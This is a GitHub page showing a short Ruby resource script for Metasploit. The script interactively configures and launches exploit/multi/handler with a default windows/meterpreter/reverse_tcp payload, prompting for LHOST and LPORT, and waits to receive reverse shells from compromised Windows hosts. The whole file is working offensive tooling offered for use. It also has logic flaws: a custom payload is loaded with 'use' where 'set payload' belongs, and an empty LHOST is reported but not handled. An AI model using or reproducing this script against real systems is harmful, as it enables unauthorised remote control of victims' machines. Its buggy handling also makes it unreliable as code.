This repository has been archived by the owner on Apr 9, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit_multi_handler.rc
69 lines (64 loc) · 1.89 KB
/
exploit_multi_handler.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<ruby>
#exploit_multi_handler.rc
#author: sushiwushi
puts ("\n======================================================================================================")
print_good ("This is a simple script to run exploit/multi/handler.")
run_single("use exploit/multi/handler")
puts ("\n")
#Selecting payload
print_status ("Which type of PAYLOAD would you like to use?")
print_good ("Press ENTER to accept default settings. (windows/meterpreter/reverse_tcp)")
payload = ""
print ("payload: ")
payload = gets.chomp
if payload.empty?
payload = "windows/meterpreter/reverse_tcp"
print_good ("Selected: #{payload}")
run_single ("set payload #{payload}")
else
print_good ("Selected #{payload}")
run_single("use #{payload}")
end
#Selecting LHOST
print ("\n")
print_status ("Please specify LHOST.")
print ("LHOST: ")
lhost = gets.chomp
if lhost.empty?
print_error ("Please re-enter LHOST")
end
print_good ("Selected: #{lhost}")
run_single("set LHOST #{lhost}")
#Selecting LPORT
print ("\n")
print_status ("Please specify LPORT.")
print_good ("Press ENTER to accept default settings. (4444)")
print ("LPORT: ")
lport = gets.chomp
if lport.empty?
lport = 4444
print_good ("Selected: #{lport}")
run_single ("set LPORT #{lport}")
else
print_good ("You have selected #{lport}")
run_single ("set LPORT #{lport}")
end
#Ask user whether to start
print ("\n")
print_status ("Current settings:")
puts ("============================================================")
print_good ("Payload: #{payload}")
print_good ("LHOST = #{lhost}")
print_good ("LPORT = #{lport}")
puts ("============================================================")
print_status ("Do you want to EXPLOIT it now? (y/N)")
input = ""
print("ENTER for yes: ")
input = gets.chomp
if input == 'y' || input == 'Y' || input.empty?
print_good ("Exploiting now...")
run_single ("exploit")
else
print_good ("All done. Waiting for orders.")
end
</ruby>